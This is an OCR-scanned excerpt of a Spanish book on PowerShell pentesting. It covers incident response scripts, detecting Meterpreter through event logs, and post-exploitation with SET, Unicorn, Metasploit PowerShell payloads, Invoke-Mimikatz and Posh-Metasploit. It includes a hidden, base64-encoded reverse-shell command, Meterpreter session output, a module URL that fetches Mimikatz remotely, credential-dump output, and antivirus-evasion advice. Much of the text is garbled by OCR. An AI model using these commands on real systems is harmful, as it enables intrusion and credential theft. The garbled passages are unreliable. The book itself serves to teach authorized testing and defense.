
anismo ASLR intenta cambiar la posicion
evita que una aplicacion se ejecute en

ASLR. Address Space Lavout Randomization, evita que el
donde se encuentra una funcion que quiere invocar. El mec
exacta en cada ejecucion. DEP, Data Execution Prevention,
una zona de memoria no ejecutable. SafeSEH, es un mecanismo que proiege de SEH Overflow.
StrongNaming, permite identificar el binario univocamente, también conocido como unique identity.
Authenticode permite a los desarrolladores incluir informacion adicional en los binarios a través

Capitulo III. PowerShe o
i L. PowerShell puro: El arte del pentesting m

del uso de firmas digit: -

SO s digitales. Ademas. con dstac co Cone:

rosibles 3o ,L S ales. Ademas. con estas se consigue aumentar la seguridad d é .
posibles modificaciones de éste. N a seguridad del binario ante

Para realizar un ¢
{ in chequeo - g Fhszes :
. le} ktDb[(’ble un archivo se puede ejecutar la siguiente instruccion Ger-PES i
L sirula del CAL ¢ > A 11 for =3 % = & el-rcoecuriiy
o et ) .1’_S. La informacion que se obtendré tras esta ejecucion son los valo ;

mente anteriormente. Si se requiere evi S . : alores

. : - evaluar los binarios : .
directorio se R e B 3 § rios que se encuentran dentro d

se puede ejecutar la siguiente instruccion Ger-PESecurity -directory <path> o
- v <path>.
| Format-Table

Authenticode StrongNaming

>

‘A
/A
/A
/A
A
/A
A
/A
/A

Fig. 3.52: Obtencic
ig. 3.52: Obtenciin de meca :
g encion de mecanismos de seguridad en los binarios de wn diveciorio

Respuesta ante incidentes

En este apartad /g :
b « (10 SC V¢ < strar var oot 2
e I » ad . N 4 mostrar varios scripts o conjuntos de scripis que pueden ser utilizad
) ecopilar informacid o SRR foii ) e M Ser utilizados
o pilar informacién de un escenario tras un incidente. En muchas ocasiones se ti o
ar herramientas para realizar es g : = DCEIOHESSCTUCHE Yus
P i i l; ara realizar esta operativa, las cuales pueden cambiar el entorno, lo cual :
‘il FeSPoOnse es ¢ s Tats K- . .locual en un
oy 7 . es algo no recomendado. Estos scripts utilizan PowerShell para realizar |
¢ 0S posibles en el entorne ol ot Foo i N ais dld I'Ce ar oS menos
0 y recopilar informacion fiable de los sis e
atacada. ‘ 1 fiable de los sistemas de la oreanizacion

Kansa

Kansa es un mé ;

: ma o Trisials - .

direccion URL ;dU[(‘ de Incident Response escrito en PowerShell. Puede ser descarsado desde |

€ccion wips://ei R o - . " e scargado desde la
2y tos tips:github.com/davehull/Kansa. El modulo se encuentra testeado enb P ’ i

V2 Yy postleriores. £ o S A . ; . < Stee

Yy posteriores. Aunque funciona mejor a partir de la version 3 de PowerShell el
- ~ Wer, ell.

Para hacer funci -
¢ uncionar correctame s :
¢ BaNe arc rreclamente Kansa se debe abrir una consola con privilegios de Administrad
B E 28 ) e. ejecutar ; ; Rt 59 B nistrador
o Ig{:;;ll(;t//uumz.,/z\ I ~Target <localhost u otras mdquinas> -ModulePatl .
s —verbose. Bl Modu (,,/)”//7 illd' i P 3 (> o eraln
S ; / 1ca de donde Kansa e BTl e j
de iforisaito, sa utilizara los recursos para la recopilacion

En la car / ’
carpeta Modules de Kansa se
l‘c"npiluil' ‘1 ‘ ll‘ll/t s de Kansa se puede encontrar gran cantidad de seripts utilizad
copilacion de informacion referentes i an : ' -
) a rentes a configuracio s las Fdainas
elcétera. guracion de las mdquinas. procesos. logs. disco.

l | Serp « Ieria recolecta ( 1aCI( (l(. a Id(] 1nna local o remota ut anda( ”I}]t N Kemor
/ (,l I d
l ) I l 2C ) C ] Z ] ) ] /U ' Kemo
ZHI0TE

ULIIIuo > 1 :
: gement. Si el seript da error, se deberi o
ot s (11/;'1/ da error, se deberia habilitar esta caracteristica. Cuando el seript finaliza el
s spone de un directorio de D ) g - alizae
p un directorio denominado Quiput_timestamp con toda la informacion recolectad
= : ecolectada.
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Voyeur
Voyeur es un conjunto de scripts utilizados para realizar recopilacién de informacion del directorio

active. Voveur ha sido escrito por el investigador espafiol Juan Garrido, también conocido como
Silverhack. El codigo puede ser descargado desde la direccion URL de Girhub hitps://github.com/

silverhack/voyeur.

Voyeur proporciona una manera rapida para generar un reporte del directorio active. La herramienta
esta desarrollada completamente en PowerShell. La herramienta es capaz de generar un reporte en
Excel, si el usuario quiere lograr un reporte vistoso. Otro formato que puede ser utilizado es csv. El
reporte generado por la herramienta es un punto de entrada para el trabajo de andlisis de amenazas,
en un directorio active, de un analista forense. un equipo de incident response o investigadores de

seguridad.

Find-MsfPSExec

La funcién Find-MsfPSExec permite, a través de PowerShell y los eventos del sistema, encontrar
eventos que identifiquen la ejecucion de una Meterpreter en un sistema comprometido. Esto es uno
de los hechos mas encontrados por los equipos de respuesta ante incidentes en brechas de seguridad

€n empresas.

La funcién utiliza Ger-Eventlog para matchear los eventos del sistema que tengan como identificador
el 7045, los cuales informan de la ejecucion de un servicio, y comprobar si el nombre del servicio
\ 22299299

comienza por “M™ y si la ruta tiene la estructura “*26SYSTEMROOT%\ 77772222, exe™". Lasegunda
parte localiza el binario que ha ejecutado esa Meterpreter a través de la invocacion del servicio.

Esto no asegura que sea una Meterpreter 10 que se ha ejecutado en el sistema, pero las posibilidades
han ido aumentando si encajan las 3 comprobaciones. Por desgracia, Metasploit ha cambiado este
hecho en algunas versiones. es decir, se conocia que cuando se invocaba una Meterpreter a través del
madulo psexec de Metasploit se creaba un servicio que comenzaba por “M” y almacenaba el binario
en %SYSTEMROOT%. Hoy dia, las versiones méas modernas no utilizan la “M™ para comenzar el

nombre del servicio. siendo este valor aleatorio.

Es cierto que la versién del modulo de psexec pueda ser antigua, y se puedan detectar los Meterpreter

ejecutados en una maquina comprometida, ya que este método es muy utilizado para llevar a cabo
movimientos laterales en una organizacion comprometida. El codigo de la funcién puede descargarse
desde la direccion URL https://github.com/obscuresec/PowerShell/blob/master/Find-MsfPSExec. A

continuacion se muestra el codigo:

R
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SCrir arde eopr fam: =3 » '
f!,::gi;:sl)é]gd:/:L] m/L 1'lmu‘1?g nmdlﬁcgdu para encontrar o matchear las ejecuciones en |ag nuey
; Metasplort, pero para ello hay que matchear que el nombre del servicio conti
niimero de caracteres tope. A continuacion se propone una version reducid ‘ s
— f” pentester o analista realizar su deteccién (Ger-Eventlog -LogName “systom ™ | 1t
Object {§ . EventID -eq 7045} Where-Object {($ . Message -me W o '\']”0”7 -| s
) § .Messag atch “Nombre del servicio: M”)}.

La modificacion seria cambiar el ; ]
dificacion seria cambiar el march por like con la longitud de interrogantes equivalente
= Cl o / d .

as
el
a del seripr que puede

I. dl()lnl d l stem P VO nporta ) ] ) ]UL S1 Ll > olc C < { £ S
< €l S1 ma operativo u ' orta, ' or 10 ¢ VErsiol (it] sistema es otrra n n l
K{1C5d

se debera cambiar la funcid Kpues i
; ‘Smmlndl la funcién expuesta anteriormente, vya que cuando se ejecuta /(§ .M,
“maichr ""Service Ng SON V24 " ST : 2 s A
ervice Name: M)} no matcheard ningtn resultado ya que, por ejemplo, en nol
2 ) €, pOr ¢ 0, €n espano

: tra la modificacion del scripr, el ¢
e ol e . : icion del scripr, el cual va es
(;/f ble directamente, para obtener los resultados. (Ger-Eventlog -LogName “svsiem” | Wi "

yect 1S . Eve —an 7N48 (o s 3 ol i gk
II»//W ’7 ‘,/ 16‘///!f) eq 7045} | Where-Object /(S Message -match “Nombre del Servicio M)

rere-Object {(3_.Message -like **%SYSTEMROOT%\2229272> ,, ot

exe

seria “Nainbre de servicio: M". A continuacidn se mues

")) | Format-List,

En la imagen se puede visualizar la fe
{ binars gen se puede visualizar la fecha en la que el evento se generd, el servicio fue lanzad
el binar sotits 3 edel seirvio: 20 TDCaa, dC) Seplmaih
: enm(.l e_;wut’ddo. L.IJ nombre del servicio es MqOTGgTDC qaxNInUodChHHAIZX oK v por lo
€ €ncaja con la posibilidad de que sea un: | voidel sy :
] @ sea una Meterpreter y el nombre d rchi
i S ; y 3 ) C del arc /O de
7aSYSTEMROOTY\DshiyNkp.exe. HP

| servicio es

C:\Windous\systen32)> CGet-Eventloy - gNam systen' | Where-Object <$ .EventID —eg 7845 | Uhere-Object < $_.Hecsage
tl LogNane “systen

—match onbre de ervicio: 2> 1 Where-Object <($ -Hessage —1ike '"wZSYSTEMROOT»\ 2 "“.xc“ b3 DI | Furnn ~List

h "Nonb: del S N ) t

: 257215
: Information
: 1973748869

¢ instald un servicio en el sistena.

Nomhre del servicio: MqQIG
s i : 4T GgTDCqaxNJInl 1
;It;lr;lfjn-gudcel archivo del :l‘ruicin‘:‘ /sﬁéggﬁﬁgg?ffﬁgﬁf[
i servicio: icio de modo usuari T
Tipo de inicio de inici SREvaTAes
R ((Ig\;nt.\ de servicio: l.nnalSyztucln:cw oS

yNkp.exe

RauiyoryNunher : B
eplacementStrings : (MqQTGqTDCqaxNInlodC > F, #8 B
; glic_il.’:fd..‘.l)u nUodChHHATZRgKyf . #SYSTEHMROOTZ\DshivNkp.exe,

Hihegonorated  © 35iuace,Control Managen
u:ncﬁmu:n : 13/088/2 16:35:50

erName : PRACTICAS-PC\Adninistrador
: 24758
lEnn-y!ypc : Information

netanceld : 1873748869

S Sy

= 8e instalé un servicio en el sistema.

servicio de modo usuario. inicio por

Nombre del servicio: MGWsKO
Nombre del archivo d ruicio: y

g cers’izi'(:';o del :  %SYSTEMROOT%\hKHsWetZ.exe
Tipo de inicio de 1

Cuenta de servicio Saisitud

e BN
Fig. 3.53: Deteccion de Meterpreter con PowerShell,
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Capitulo IV
PowerShell y otras herramientas:
Pentesting sin limites

1. La post-explotacién con PowerShell

En este capitulo el lector podra estudiar herramientas externas a PowerShell que se apoyan en la linea
de comandos de Microsoft para obtener un heneficio, generalmente, en la fase de post-exploitation.
Hay gran cantidad de herramientas y lenguajes capaces de generar codigo o instrucciones de
PowerShell con las que el pentester podra obtener un beneficio, como se mencion anteriormente.

iPor qué se obtiene un beneficio? En los sistemas Microsofi, desde que la linea de comandos se
encuentra nativa desde Windows Vista y Windows Server 2008, todas las acciones de recopilacion
de informaci6n, obtencion de privilegio. ejecucién de c6digo, acciones a través de dicha maquina,
etcétera, pueden realizarse con PowerShell. Por ejemplo, la comunidad de Metasploit se dio cuenta
de este hecho y han centralizado esfuerzos para sacar el maximo potencial a PowerShell a través de
las sesiones de Meterpreter. Hoy en dia, se puede abrir una PowerShell interactiva a través de un
pavload de Meiasploit y aprovechar todo el potencial que en este libro se ha reflejado en el capitulo
dedicado a los distintos frameworks de PowerShell. Ademas. se podran ejecutar los diferentes scripiy
que el pentester pueda desarrollar con la ayuda del presente libro.

En algunos entornos puede ser (itil disponer de una instruccién de tipo EncodedCommand con la que
ejecutar codigo en Base64 y conseguir ejecutar instrucciones. Esto ya se ha visto en el libro, pero
existen herramientas escritas en Python. o incluso el propio conjunto de herramientas de ingenieria
social denominado SET, que permiten crear este tipo de instrucciones. Estas instrucciones son tan
potentes que un pentester podria llevarlas almacenadas en un fa7 y pegarlas directamente sobre la
PowerShell o ejecutarlas. por ejemplo, a través del pavioad de PowerShell de Merasploit obtenido a
través de una explotacién de una vulnerabilidad en la fase previa.

Por (ltimo, hacer hincapié¢ en que existen diferentes médulos escritos en PowerShell que integran
con herramientas como Metasploit y Nessus, como son Posh-Metasploit y Posh-Nessus. En este
capitulo se hard un recorrido por el médulo de Metasploit y se veri la interaccién con el famoso
Jramework de explotacion.
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2.PowerShell: Ejecucion de payloads

i ini i ios puedan
En muchas ocasiones existen politicas locales o de dominio .que evitan que los usl.la;low 5,-317{_)11
ejecutar una cmd, pero a dia de hoy muchos administradores no tienen tanto en cuenta a. a o cesc;
: asi i 5. Si tiene ac

3 i | g la emd clasica de Windows. Si un usuario

ésta herramienta es ain mas potente que las ' " .
i‘,isico a un equipo puede ejecutar cualquier tipo de codigo a traves de una PowerShell. por ejemp
un Meterpreter.

' - . - i .
Es sabido que PowerShell tiene una serie de politicas de ejecucion de .sci'z‘pl.s. como y; se hz;a slfe =
el libro. A modo de resumen, un administrador puede configurar una politica restr ICI; con . que -
usuario no podré ejecutar scripis a través de PowerShell. Otra opcion es unrestricied. con 1a q
usuario puede ejecutar cualquier tipo de scripf en la consola.

indi jecut ier script en

Las opciones allsigned y remotesigned indican que para pod;r e_]ef:l'nar' :lga;q:lllllzrlss sﬁ,-;p,s
- i ic
Aqui i . mientras que la segunda opcion In

la maquina se necesita que esté firmado. ! : : -
creados localmente pueden ser ejecutados sin necesidad de que estén firmados. per‘g’lolsl cllu olii’ica
sido creados fuera del equipo deben estar firmados. Para visualizar en una PowerShell la p
configurada se debe ejecutar el comando Get-ExecutionPolicy.

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors

3) Infectious Media Genergtor

4) Create a Payload and Listener
5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) SMS Spoofing Attack Vector

8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Powershell Attack Vectors

11) Third Party Modules

Fig. 4.01: Menti de SET con distintos vectores de ataguee.

7 1 ite reali iver é asados en
La herramienta SET. Social Engineering Toolkit. permite realizar diversos alllaques”bv;acabo
ingenieria social. Uno de los vectores que muestra s la utilizacion de PowerShell para lle
ejecucion de codigo sobre esta consola de Windows.

; ; o N iy
El vector de ataque de PowerShell proporciona diversas posxblhda(.ies, p;ro ;.l rc::rlrll:;crl‘ct)ee:oililando

el codi ript el cual puede ser ejecutado direc 1d
en todas. Se puede obtener el codigo de un scrip Iy : m e
y pegando sobre la PowerShell, por si existe alguna politica en la méc‘lymg qug dr'estrm ] a[,las?;:lgsw

] i i6 e invoca la ejecucion de codigo en basedd. L

de scripts. o se puede obtener una msrruccmn' qu o L
Oltimo,es realmente interesante. ya que de algin modo ofusca y hace que se pueda ejecutar codig
de manera menos transparente.

ic S ; 1 s que
En el presente ejemplo se va a utilizar la opcion PowerShell Alphanumem_c Shellc.ode Ilylecét;li C(]) :
];ermite crear una instruccion que ejecutard una PowerShell de forma no interactiva y el codig
ejecutar se encontrara encodeado en base64.
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1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell

3) Powershell Bind Shell

4) Powershell Dump SAM Database

Fig. 4.02: Opciones que proporciona SET sobre PowerShell,

Una vez seleccionado este ataque se solicitar al usuario una serie de parametros para configurar, los
cuales se explican a continuacion:

- Direccién IP a la cual, una vez ejecutado el codigo en la PowerShell, se devolvers el
control de la maquina victima.

- Puerto en el que el atacante estara escuchando y esperando a la ejecucion del codigo.

- Una vez generada la instruccién, se solicita al usuario si quiere configurar el handler de

Metasploit para recibir el control de la maquina dénde se gjecute el codigo generado.
SeT!powersne [ [>]
set> IP address for the payload listener: 192.168.56.103
setipowsrshell> Enter the port for the reverse [443]:

Prepping the payload for delivery and injecting alphanumeric shellcode. ..

Generating x86-based powershell injection code. ..
Finished generating powershell injection bypass.
Encoded to bypass execution restriction policy. ..

If you want the powershell commands and attack, they are exported to /root/,
set/reports/powershell/

s=t> Do you want to start the listener now [yes/no]: : yes

Fig. 4.03: Configuracion de Alphammeric Shellcode Injector:

Un atacante con acceso fisico a un equipo Windows puede introducir en el equipo un fichero 27 con
la instruccion generada, ya sea porque se lo descarga de Internet o lo tiene almacenado en un medio
extraible. El atacante tendrd configurado el handler en un equipo remoto que serd el que recibira

el control, produciéndose la peticién desde dentro hacia fuera. por lo que generalmente se evitaran
temas de firewall.

En el ejemplo se puede visualizar diversas opciones en la ejecucion de PowerShell. A continuacion
se enumeran las opciones y el significado de éstas:

- -nop. Indica que PowerShell seré ejecutada sin ningtin profile cargado.

-windows hidden. Indica que la instrucci6n serd ejecutada en una ventana oculta.
- -noni. Indica que la consola no seré interactiva.

-enc. Indica que a continuacién viene el codigo de PowerShell a ejecutar.
Archivo Edicion Formato Ver Ayuda

powershell -nop -windows hidden -noni -enc

JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBw{AGSA

ch@ACgAIgBr‘AGUAchuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUA

YgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4A

dABQAHQACgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAwajACgASQBuAHQA
Fig. 4.04: Instruccion generada con SET para PowerShell,
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Cuando el usuario malicioso ejecuta la instruccion en la PowerShell se estd proporcionando acceso y
control remoto de la maquina. Tal y como puede visualizarse en la imagen se ejecuta una Mererpreter
sobre una maquina Windows Server 2()12 en este caso.

F exploit(handler) >

[*] Started reverse handler on 0.0.0.0:443

[ '] Starting the payload handler...
[ "] Sending stage (769024 bytes) to 192.168.56.102
[*1 Meterpreter session 1 opened (192,168.56.103:443 -> 192.168,56.102:57574) at

2015-03-13 08:16:56 +0100

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo

Computer : WIN-BUEBSHMLDIEB

0S 1 Windows 2012 (Build 8400).
Architecture « x64 (Current Process is WOW64)
System Language : es_ES

Meterpreter 1 x86/win32

meterpreter >

Fig. 4.05: Toma de comrol en remoio de ke mdguing con acceso fisico.

Logicamente. cuando hay una intrusion remota se puede gjecutar este tipo de técnicas para de forma
posterior tomar el control de la maquina remota. Por gjemplo, en una vulnerabilidad de Command
Injection en una aplicacién web que utilice Windows con PoweirShell en el sistema podria ejecutarse

este tipo de instrucciones para lograr una Meterpreter.

3.PowerShell Shellcode Injection con Python

En este apartado se trala una herramienta escrita en Python, la cual proporciona al pentester la
posibilidad de obtener codigo en PowerShell para ejecutar una shellcode en memoria. Ademas, un
derivado de esta herramienta, denominado Unicorn2C, permite obtener codigo en lenguaje C para
conseguir crear un binario Windows. €l cual enlazard la ejecucion de la shellcode y obtiene una gran

tasa de evasion de antivirus.

La base de la herramienta Unicorn es el bypass de PowerShell presentado por David Kennedy y Josh
Kelly en Defeon 18. La shellcode se inyecta directamente en la memoria a través de PowerShell. y
esto hard que su deteccién sea compleja. Unicorn puede obtenerse en la siguiente direccién URL

hitps://github.com/trustedsec/unicorn.

El uso de unicorn.py es realmente sencillo. su ejecucion es la siguiente python unicorn.py <pavload>
<direccion [P>. Para ejemplificar se puede visualizar la siguiente instruccién python unicorn.py
windows/meterpreter/reverse_tcp 192.168.56.101. Como puede observarse se debera disponer de
Metasploit instalado, ya que el seript de Python lo utiliza para genera la shellcode.
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Traslaej i6 T .
D eje;/;xc;/on de Unicorn se obtienen 2 ficheros. El primero de los ficheros contiene Ja instruceid
rohetl que se debe ejecutar en la linea de comandos. por ejemplo copiando y peg - ducmon
ando.

;a instruccion generada tiene el siguiente aspecto:
owerShell.exe —Window Hidden ~EncodedCommand <shellcode encoded>. El segundo archj
- )

contiene las in ione: i :
strucciones de Metasploit necesarias para configurar el multi/handier para recibir

€ odes. St g ra en cu qUIe] Sistema mndows donde se encue i

Los archivos ofiméticos de Office pueden utilizar macros y las instrucciones de PowerShell generadas

or Unicor: ili
}) icorn pued'en_ ser utilizadas en estas macros con el fin de que al abrirse un archi j
a macro con el codigo malicioso. s

En resume iene 2
gl cég} Sz obtiene 2 ﬁChel‘Q& PowerShell_attack.xt y unicorn.re. El archivo de texto contiene
0 necesario para inyectar el ataque en memoria. El segundo archivo contiene la

configuracion d - si :
e 3 ; el handler, simplemente hay que ejecutarlo, por ejemplo con msfeonsole —ie unicor
0, dentro de la consola, resource unicorn. re. ‘ G

4. Payloads de PowerShell en Metasploit

La posibilidad de utilizar PowerShell como Payload en Metasploit abre un nuevo mundo de post

exploitation. - podia utili
7 n. Generalmente, un pentester podia utilizar una shell o emd tras una explotacion, o en

mejor (S S, U Melterpreter ue proporciona rarn Ca]ltldad de ILlllL]()lla lda(l(.‘q ara 1a
[ I o l

Avheai Sl ) ; e -

. pos?l;z;;iigzddze_gla se desarrollo la pos:l:nhdad _de utilizar un payload de tipo inline que ofrece

o g s dijfecutar una PowerShell interactiva de tipo bind y de tipo reverse. Juntando este
papsa eTenles ﬁ'ameu'orlc? de PowerShell que se han visto en este libro se obtiene

gran potencial en la fase de post-exploitation, incluso estando a la altura de Mererpreter -

Hay que 3
x n};pgnen::nzr leq cuenta que tener una PowerShell interactiva permite acceder a todos los
§ del sistema operativo y productos de Microsoft. Ademés, permite ejecutar, como se ha

mu

5 p & ] S y l
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KGROUP as user

running &
”_]_\ rosoft

IC

EES SOftwal =)

s erShell interactiva con Metasploit
Fig. 4.06: Obtencion de una PowerShell interactiva con Metasy

ili y load es que sus herramientas o
1 de las principales ventajas de utilizar PowerShell como payload es que sus llu ‘
s - . i 3 se accede al disco duro, por lo que
ipts estan escritos en PowerShell y. en la mayoria de ellas, no se accede al disco duro. | ]
scripts estan es : S Y 1 may 4
los sistemas antivirus no pueden detectar dichas herramientas.
. s M y que permitian ejecutar scripls
PowerShell estaba presente en Metasploir a través de algunos madulos que permitian eje Ji
TOWETDE SLae & i -

i i pay = se presenta aqui. La ruta donde
y herramientas pero no de forma interactiva como el payload que se presenta ”u} . : i
: ; - C Ny w/PrwerShe everse 1c
wiload interactivo de PowerShell es pavioad/windows/PowerShell _reverse _tcp
pa [efs < e

pavioad/windows/PowerShell bind tcp.

i Y 'as ex ar ¢ av rabilidad con
Cuando se obtiene una sesion interactiva de PowerShell tras explotar alguna \ullnem s k HL .
ando s é ; P w5 Fopi il » "
ili i ¢ in: 4D MODULES, el cual permite inc
ploit se 2de zar atributo denominado LOAD | e
Metasploit se puede utilizar un a = A - a—
| a la funcic > quiere cargar automatica
icacid icher '/ e se encuentra la funcion que se qu g ;
la ubicacion del fichero .ps/ donde se e 5 e
: i i is : a funcid oke-Mimikatz de PowerSploit y cuz
! Si se ere disponer de la funcién Invoke-Mi : ;
con el payload. Si se quiere dis : b b e e e
otra de cualquier framework estudiado en el libro se puede indicar a través de este & B
v -
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ejemplo, para afladir una funcion se indicara ser LOAD MODULES https:/fraw. githubusercontent,
com/mattifestation/Power Sploit/masters /Exfiltration/Im O/\L- Mimik
funciones, se indican separadas por comas.

atz.psl. Si se quiere afadir mas

Sploit/master/ExTilt ration/ Invoke

‘adminis

11 rights

Fig. 4.07

» Carga de scripts en la sesion de PowerShell interactiva en Metasploit,

Se puuk valorar la posibilidad de utilizar un o8l

del framew ¢ los frameworks comentados en el libro se
uuuuum este tipo de script, el cual tiene un peso grande y

que cargue todas las funciones, por ejemplo
ork PowerSploit o Nishang. En II‘HHIU\ d

‘a que contiene todas las funcionalidades

Una vez realizada la explotacion y gjecutado ¢l pavioad. se puede visualizar en la imagen como se

muestra la linea Loading Modules. El pavioad de PowerShell ha descargado automaticamente la

funcién y la ha importado a la sesién interactiva de PowerShell. En este instante se puede ejecutar |a

funcién importada automaticamente. tal y como se puede visualizar en la i Imagen

La funcion Invoke-Mimikaiz. en este caso se ha ejecutado a través de |a PowerShell interactiva
proporciona los resultados en la consola.

PowerShell running as user PRACTICAS-PC4$ on PRACTICAS-PC
Copyright (C) 2015 Microsoft Corporation. All rig
ke-mimikatz
pha (x86) release "Kiwi
amin DELPY °gentil L Lcmnmln@q»antllkl

Llog.gentilkiwi .com/mimikat= (
with 15 modules

mimikat=(powershell) # sekurlsa: :logonpa

Fig. 4.08: Ejecucion de la funcion Invoke-Mimikatz a través de la PowerShell interactiva (1 ' parte).
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Authentication Id : O ; 151260 (Q0GGEEO0:C0024edc)
: Interactive from 1

pablo

PRACT

85451244 - 1715528267 - 27 943-10606

EEA3] Primary
- e 55 0]

123abc .

i) i - a través de la PowerShell interactiva (2% parte).
Fig. 4.08; Ejecucion de la funcién Invoke-Mimikaiz a través de la PowerShe /] 1 v

5.Posh-Metasploit

' ; funciones ¢ atiza la interaccion con un
Posh-Metasploit es un conjunto de médulos y funciones que automatiza la interaccion ¢ :
: 1 1 2 c pe |e s racer ¢ oy ster .
servidor Merasploit via XMLRPC. El objetivo de estos modulos es la de ofrecer al pente \Ius}m/‘/
C { A 7 . A = . s — o R
i ] i i -cualquier de accion a través de PowerShe
interaccion remota con Metasploit, pudiendo ejecutar cualquier tipo de accion a traves de Pow

sobre Metrasploil.

i a direccion U / eithub,.com/
Posh-Metasploit puede ser descargado desde su Github en la direccion URL Atips://github.co
darkoperator/Posh-Metasploit.
i intui ] wploit Framework, es decir, viendo los
Posh-Metasploit ofrece un paralelismo intuitivo con Metasploit Framework, €s dunl,‘ endo |
il g s ivalencia clara. E as palabras, quien
madulos que constan la solucion se puede observar una equivalencia clara. En u}lrl.as P'lldl I 1(?. | :
l ploi ra ver el paralelis n el uso del modulo Consale
ha trabajado con la consola de Metasploit podra ver el paralelismo :n i s
de Posh-A fetasploit. Las categorias que pueden ser encontradas en Posh-Metasploit son las que s
enumeran a continuacion: ]
1 O 3 seoariac .y 1 sractuar co e
- Console. Este médulo proporciona las funciones necesarias para mteractuar con
servidor de Metasploit como si estuviera utilizando msfconsole.
| a 1 2OOQ = Q « a1 AT l4 .o~ 1
- Db. Este modulo proporciona al pentester las funciones necesarias para interactuar con ui
motor de base de datos, tal y como se haria en Metasploit.
1 1 1 NEAQ -1 e - H D 5 . 8 3 )lv .'Je
- Jobs. Este madulo proporciona las funciones necesarias para gestionar los trabajos q
pueden ser utilizados en Metasploit.
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- Module. Este médulo proporciona una gran cantidad de funciones que ayudan a gestionar

los diferentes madulos con sus diferentes tipos.

Plugin. Este médulo gestiona los diferentes plugins que pueden ser anadidos al fiamenwori-.

hor ejemplo el plugin de Nessus, Nimap o Nexpose.
2 P, / ‘:

- Posh-Metasploit. Este modulo gestiona las sesiones con el servidor remoto, desde [a

creacion de éstas hasta la desconexion y eliminacién de la sesién.
Session. Este mddulo proporciona funciones que permiten gestionar éstas, desde su

enumeracion hasta la interaccion.

- Variables. Este médulo proporciona funciones para gestionar las variables globales del

Jramework y almacenar la configuracion,

Console

con la consola de
Metasploir en remoto. Quien ha utilizado la consola de Metasploir se hace una idea de todo lo que

El modulo console presenta todas las funciones necesarias para interactuar

se puede realizar con ella, pero generalmente lo que aportaran las funciones de PowerShell

i Con egste

modulo es la posibilidad de interactuar con la consola como si se estu iera delante de ella. Para

lor creada previamente. £l médulo
consta de 6 funciones, las cuales como se mencioné anteriormente permiten la gestion e interaccion
con la consola de Merasploit. A continuacion se describen brevemente las funciones:

Interactuar con la consola se debe tener una sesion con el servic

Funcién Descripeion 7

Esta funcion enumera las consolas que se encuentran activas por

Ger-MSFConsole :
parte del usuario sobre el servidor de Metasploir

Esta funcion crea una nueva consola sobre el servidor de Metasploil
New-MSFConsole Para crear una nueva consola de puede utilizar New-MSEConsole

Id <identificador sesion>

Esta funcién elimina una consola abierta en el sery idor de
P MSEC P Metasploitr. Para eliminar una consola se puede ejecutar Remove-
nfemove-Mar Console FES— ¢ ; — B RO g g
MSFConsole —Id <identificador sesion> -Consoleld < identificador

consola que se obtiene al erearla:

Esta funcion permite escribir texto a traves de la sesion de consola.
Un ejemplo seria Write-MSFConsole —id <identificador sesion=>
-Consoleld <identificador consola> -Text “comando”. Puede
resultar interesante enviar “’n” después del texto

Write-MSFConsole

Esta funcién permite ejecutar comandos a través de una consola
remota. Para lograr esto se ejecuta /nvoke-MSFConsoleCommeane
Invoke- i N S : i :
o : —ld <identificador sesion> -Consoleld <identificador consola>
MSFConsoleConmand 3 N e ; g
-Command *“comando . Para poder leer la salida de la ejecucion del

comando se debe utilizar la funcién Read-MSFConsole
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tras realizar un escaneo con algiin modulo o plugin de Metasploit. A continuacién se describen las
Funcion Descripcion funciones de este médulo:

Esta funcién permite leer la salida de una ejecucién de un comando.

Read-MSF Console Un ejemplo seria Read-MSFConsole —Id <identificador sesion Fondidn Descripeion
il -Consoleld <identificador consola> ; '
it Esta funcién permite crear un nuevo host en la base de datos, si
Tabla 4.01: Funciones de Console en Posh-Metasploit. Set-MSFDBHost éste no se encuentra presente. Por ejemplo, Ser-MSFDBHos —Id
_ ) ———— el P oy iy 5
En el sitio web de Posh-Metasploit se pueden encontrar diversos ejemplos sobre la ejecucio ‘ ldcj’r’ﬂy‘?cador "‘9310'7' [PAddress <direccion IP host
n el siti i de Mutieniott Esta funcion devuelve un listado de los hosts que se encuentran en
| estas funciones sobre un entorno real de S Get-MSFDBHost la base de datos de Merasploit
P— : s que proporciona los trabajos en — — :
|’ En la imagen se puede visualizar como se invoca el comando Job: ]P e dor el vsitinds : Esta funcion permite eliminar uno o varios /osts de la base de
- ; ici tiene montado el usuario en dicha sesion. Para po Remove-MSFDBHost i Toi
background o servicios que tie e Bk s b e atos de Metasploit
\ a funcién Read- 2 = ; = =
| Invoke-MSF ConsoleCommand se hace uso de ! Esta funcién permite obtener un listado de servicios de la base de
| — oTE B Cwemane tbanaw 2 Get-MSFDBServeie A
Irvoke-NSFConsaietommentd -Id 2 -Consoield £ ~Cammans 2oL datos de Metasploit

Esta funcion permite afadir un nuevo servicio a la base de
! Gones 122,168.1.194 datos de Metasploir, Un ejemplo seria Set-MSFDBService —ld
o Sk = Set-MSFDBServeie <identificador sesion> -Port <puerto servicio> -Protocol TCP
' - [PAddress <direccion IP servicio> -State <estado, por ejemplo
' € Saz s 2T Open>
- SFLaaszle ~Io @ -Tangelslsn § Remove-MSFDBServeie Esta funcién permite eliminar un seljvicio de la base de datos de
e ik G s e Metasploit

Esta funcion permite afadir una nueva vulnerabilidad en la base
de datos de Merasploit. Un ejemplo seria Set-MSFDB Virln —Id
e <identificador sesion> -Port <puerfo de producto. por ejemplo
e S RFRE i 22> -Protocol TCP ~Name “Nombre vulnerabilidad, por ejemplo
SSH Vuln"' ~IPAddress <direccion IP del RHOST=> -Referenc

Is L “CVE, BID, OSVDB, etcétera>

= Esta funcion devuelve un listado con |as vulnerabilidades
patis A que se encuentran en la base de datos de Merasploir. Estas
= Get-MSFDBVuln vulnerabilidades pueden haberse aiadido gracias a otra

herramienta y la importacién de sus datos, como por ejemplo

es

Nessus
et Esta funcién permite eliminar una vulnerabilidad de la base de
Falaz Remove-MSFDB Visin P :
e g s 1231, 184 datos de Merasploit
s 212910 Esta funcion devuelve un listado de las notas que se hayan anadido
